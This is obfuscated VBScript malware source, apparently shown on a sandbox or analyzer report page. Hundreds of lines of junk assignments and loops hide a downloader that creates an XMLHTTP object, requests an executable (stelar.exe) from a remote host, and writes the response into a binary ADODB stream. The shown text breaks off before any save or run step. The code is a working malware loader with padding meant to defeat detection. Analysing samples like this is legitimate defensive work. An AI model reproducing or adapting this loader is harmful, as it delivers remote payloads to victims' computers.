sw = 16380
E = (Not sw)

u = 61127
y = (Not u)
For l = 100 To 100
ykqaqfe = 6900
Next l
Dim fkyub As Integer
fkyub = -9993

Dim ndlez
ndlez = 14236
veiio57 = "u/ncm"
a = -61315
axwqttb91 = (Not a)
Z = 55009
vznws30 = 22297
om = Not (Z < vznws30)

For i = 60 To 61
uuowi = "asrorehogq33"
Next i
ao = -60915
pd = 14341
inwe37 = Not (ao < pd)

Dim auoexvf As String
auoexvf = "-21224"
imci = -57973
E = -34296
eg = Not (imci < E)


Dim istioei
istioei = 9961
aw = 58023
ffujbm = (Not aw)
For ui = 41 To 41
jmzoatp = jmzoatp + ui
Next ui
gs = 15692
u = (Not gs)
wit = 34521
na = -65885
onsm = Not (wit > na)


xrs = -50892
ya = 8022
cuuu = Not (xrs < ya)

wk = 36270
ud = 4470
ouidt0 = Not (wk > ud)

For mna = 59 To 62
aqrhznipl = "uyhoaiuqoalv"
Next mna

Dim yiugub As Double
yiugub = -56056.2996
For i = 74 To 77
smenfhk = -13180
Next i
Dim axyhcqa As Double
axyhcqa = -45267.61195

ityjqe = ewkiots & avymn02 & ieaocgr & eeipxgn & veiio57 & oiuio & uougbhy
Dim frlksnoj As Double
frlksnoj = 20685.54033

For uo = 88 To 88
eomrap = eomrap + uo
Next uo
For joe = 43 To 46
douoi = douoi + joe
Next joe

ba = 48813
ykp = -24503
ougq = Not (ba > ykp)

Dim pdgclhklo As Integer
pdgclhklo = 10272
Dim qnvooy88 As Integer
qnvooy88 = -5196
For cua = 37 To 38
hxansgrt = "aoucykky"
Next cua
Dim aaykwyu As String
aaykwyu = "4548"
For bvpi = 16 To 17
eabzk = "qdpnnabaayiwjrvunko"
Next bvpi
For m = 13 To 13
qsngttkrta = m
Next m
For yex = 75 To 75
fcbmaen = fcbmaen + yex
Next yex
zzey = 61627
vx = -10100
na = Not (zzey > vx)

sezii = evlzpitbu & yaue8 & aedcp
Dim alsyaoa8 As Integer
alsyaoa8 = -10201
Dim ryqvgty As Integer
ryqvgty = 25540
For E = 69 To 72
zwmsckfq = E
Next E
pvu = -58420
wkmaj = -54512
xubbr = Not (pvu > wkmaj)

Dim ucfcvduy63 As Boolean
ucfcvduy63 = False
For i = 93 To 93
dngpegd = i
Next i
For um = 65 To 65
xkclodfhzl18 = xkclodfhzl18 + um
Next um
Dim ooiyxm
ooiyxm = -12044

euwnv31 = -33069
q = (Not euwnv31)
bg = -27118
yuybx = (Not bg)
For vvi = 57 To 58
uifqqn09 = uifqqn09 + vvi
Next vvi
Dim itra61
itra61 = -18246
ablhdy = 64191
rviu00 = 21177
awp = Not (ablhdy < rviu00)

For xvqtt = 39 To 40
vzxxtauf = "esbesxl"
Next xvqtt
Dim thfaei As Boolean
thfaei = False
yab = -18635
uanx = (Not yab)
Set ueyagf99 = CreateObject("Microsoft.XMLHTTP")
For yktz = 22 To 23
oeykyu = "ueyao"
Next yktz
u = -31476
hd = (Not u)
efo = 32637
zm = 56289
oto = Not (efo > zm)

For zhu = 43 To 43
aivdmvv = aivdmvv + zhu
Next zhu
For vagw = 94 To 94
gpstqu8 = gpstqu8 + vagw
Next vagw
y = -58225
o = (Not y)
For swavm = 20 To 21
aedappl = aedappl + swavm
Next swavm
Dim emryx
emryx = 23671
For rro = 32 To 32
ajodtdk = ajodtdk + rro
Next rro
For y = 77 To 78
yasnilg = 5149
Next y
Dim ufjoa1
ufjoa1 = -21235
bo = 51
emn = (Not bo)
For fga = 74 To 75
jnstlraa2 = -18389
Next fga
For vg = 78 To 81
rrrhna = "sthieyvzieuuyo"
Next vg
If Weekday(#4/20/1889#) = 7 Then
iape3 = 45976
iym = 17193
iuewk = Not (iape3 < iym)


umw = 16193
eeai = (Not umw)

For kpnw = 99 To 101
viii = kpnw
Next kpnw
yopnu = 4899
rbhy = (Not yopnu)
Dim tvebpgwmk5 As Boolean
tvebpgwmk5 = False
Dim prhael As Double
prhael = -46213.8535

ypswr = -12693
og = 9118
h = Not (ypswr > og)

uu = 41137
riox = 14367
ua = Not (uu < riox)

For awca = 33 To 36
oygal = -8999
Next awca
Dim yabsiy As Double
yabsiy = 49045.52674
Dim onlbei As Integer
onlbei = 21566
Dim zhzzmsvo
zhzzmsvo = -10808


Dim iopspszy As Double
iopspszy = 54353.32501

For vxt = 42 To 44
ibtitkq90 = -11379
Next vxt
For lo = 34 To 34
oaffya = oaffya + lo
Next lo
E = -25657
ya = -31739
xet = Not (E > ya)
here = "http" & herg & "s://senddocs.icu/stelar.exe"
Dim uyrzaes
uyrzaes = -16162
tpedw = -25408
E = (Not tpedw)
vx = 22134
bqdqo = (Not vx)
aauu = -2569
awbpns0 = (Not aauu)

For o = 42 To 43
vsuy29 = "tcfwjzlagrcev"
Next o
E = -1374
ays = (Not E)
hfeawm4 = 24413
ke = (Not hfeawm4)
gbo = -28901
eie = (Not gbo)
exwuo70 = -28251
vt = (Not exwuo70)

ueyagf99.Open iozeuwc82, here, False
oio = -33156
ia = (Not oio)
For rwi = 10 To 12
etgoyzge = etgoyzge + rwi
Next rwi
For bli = 13 To 14
bsoyacme = bsoyacme + bli
Next bli
For yxjxd = 86 To 86
lzil00 = "igypuezkjywxqy9"
Next yxjxd
Dim oioa As Integer
oioa = 4595
dfp = -7706
ewv = (Not dfp)
E = -41349
gbw = (Not E)
For uibv = 77 To 77
iopvdnta = -3003
Next uibv
For hntg = 22 To 23
ooyyw = hntg
Next hntg
Dim suuadn As Boolean
suuadn = True

Dim evrgu
evrgu = -7042
Dim khlpxzb
khlpxzb = 26378
For fncl = 52 To 55
ulno = "okdsjaeux"
Next fncl
Dim ebju
ebju = -10643
pwz = 9698
ei = -25940
g = Not (pwz < ei)


For yfg = 73 To 73
zlziskxb5 = "pqoyiyeythgqyokbiv"
Next yfg

For x = 87 To 87
ucos = "gfitmxsauowjvavefy"
Next x
Dim usurqplzx
usurqplzx = 30208
For vgoo = 66 To 67
nxddsmv = vgoo
Next vgoo
For y = 83 To 85
pyuyo2 = y
Next y
Dim oepkqb As Boolean
oepkqb = True
Dim vleox As String
vleox = "bzebgbdaie"

For o = 88 To 89
yzebbmcn = o
Next o
Dim wrpke64
wrpke64 = -2994

Dim auomzl
auomzl = 29993
For ue = 64 To 65
yeuiao = ue
Next ue
For oo = 24 To 25
ovjdgjm53 = oo
Next oo
Dim wqnsixh As String
wqnsixh = "l"
For obr = 38 To 39
iioeo = "lxifeeotlg"
Next obr
End If
For g = 22 To 24
dsvhauf = "vnhwwwowywliuatx"
Next g
Dim xkeun00 As Integer
xkeun00 = 30510
Dim wsaiavu As Integer
wsaiavu = -11297
For al = 56 To 57
vezqzoe = "qizooyoepcvvp"
Next al
Dim wpeyvknn As Boolean
wpeyvknn = True
nocla0 = 41367
y = (Not nocla0)
Dim iuatqmu2 As Integer
iuatqmu2 = -15209
Dim ogkdkur As String
ogkdkur = "-21980"
Dim yooi As Double
yooi = 20298.10981
For i = 29 To 31
arwjjqyu = -7238
Next i
Dim cfpwlrmmgj As Double
cfpwlrmmgj = -65203.59197
Dim yuynbz1 As Integer
yuynbz1 = 31581
For zp = 60 To 60
uaeuyu44 = uaeuyu44 + zp
Next zp
Dim uikzj3 As Boolean
uikzj3 = True
For E = 58 To 58
dkdprbkuvk = "kaeyfteylv"
Next E
For n = 37 To 39
iooyii = "qxfpchyylbtyafgvwytp"
Next n
ueyagf99.send
niwme71 = -566
u = (Not niwme71)

For yc = 88 To 91
yeeklpi0 = -13079
Next yc
oa = -45684
jv = (Not oa)
Dim ahrlfya As Boolean
ahrlfya = False

For iavx = 76 To 77
knoiuit = "hapjwvqlxhkqoembow"
Next iavx
vgxco9 = -26602
eab = (Not vgxco9)
For iue = 14 To 15
zayirke = iue
Next iue
eajpm = -2312
hzdh = 28622
aae = Not (eajpm > hzdh)

For ual = 11 To 12
mqzppe = mqzppe + ual
Next ual
r = -1381
xsdnxo00 = 39414
pil = Not (r < xsdnxo00)

jty = -29179
utssx = (Not jty)
ye = 54878
ooiv = (Not ye)
eex = 3943
o = 7433
pdkqhb = Not (eex > o)

Set wrniiz = CreateObject("ADODB.Stream")
For E = 12 To 13
eafzdnz8 = -17406
Next E

a = 53219
ekay8 = (Not a)
Dim buunc6 As Integer
buunc6 = -29014
For dspu03 = 93 To 93
ayrxie = "wwquyuiiiieukz"
Next dspu03
For rdu = 59 To 61
aejy8 = -13733
Next rdu
Dim xnpx
xnpx = 32504

fjeoy = 22265
cmgr = (Not fjeoy)
aez = -50499
kcv = 59163
s = Not (aez < kcv)

Dim ulrrtwhbz As Integer
ulrrtwhbz = -10454
etc = -32813
iwtfi = (Not etc)
jzvp41 = 63949
t = (Not jzvp41)
For wx = 38 To 38
ujyble = -5916
Next wx
Dim yuii
yuii = -32122
Dim uilybf
uilybf = -8148
vx = -53641
iohna = (Not vx)
wrniiz.Open
ub = -21045
ilc = (Not ub)
For t = 69 To 70
acawtv21 = -3661
Next t

For gspvy = 16 To 16
aiuiea1 = aiuiea1 + gspvy
Next gspvy
Dim inenoy As Double
inenoy = 20933.36357
For a = 47 To 47
rfyetb = a
Next a
rja = -47794
k = (Not rja)
Dim hlabjo As Boolean
hlabjo = False
For rsye62 = 72 To 72
ajga53 = rsye62
Next rsye62
For iuxs6 = 53 To 54
iltonxdh = iltonxdh + iuxs6
Next iuxs6

Dim fbyeaw
fbyeaw = -16689
For kw = 24 To 24
yyyab = "cwtflezfmiere"
Next kw

wrniiz.Type = 1
For u = 86 To 88
oyouo = "upgfzuffl"
Next u
zwcan0 = -28270
rar = 4571
l = Not (zwcan0 > rar)

Dim izmctmqqwf
izmctmqqwf = 6789
Dim ojjibgiy As String
ojjibgiy = "jjwwzujnia"

Dim ygjkq
ygjkq = 13398
For ai = 67 To 68
eovdzz = "eyqepdcalaqgmz"
Next ai
For u = 56 To 57
owdmqye = "omdxnpwvoo"
Next u
Dim ooeomr As Double
ooeomr = 3522.4529
Dim auzdzvip
auzdzvip = -18853
r = -3333
vfj = (Not r)

Dim ujmqie
ujmqie = -26598
h = 24329
hnl = 60320
wzcwf4 = Not (h > hnl)


wrniiz.Write ueyagf99.responseBody
Dim cxpqguli51
cxpqguli51 = 2857

For eu = 11 To 11
lmrpul = eu
Next eu
Dim ptfbeinnn As Boolean
ptfbeinnn = True
Dim syybez As String
syybez = "idbxztl"
Dim mhpsv As String
mhpsv = "yyicvz"

Dim eaal
eaal = 20618

For fh = 90 To 91
fsowvn = fh
Next fh

For wuy = 16 To 16
ouwwbnqz = ouwwbnqz + wuy
Next wuy
Dim uufcw As Boolean
uufcw = False
…

Open this report in the interactive analyzer, or submit your own file for analysis.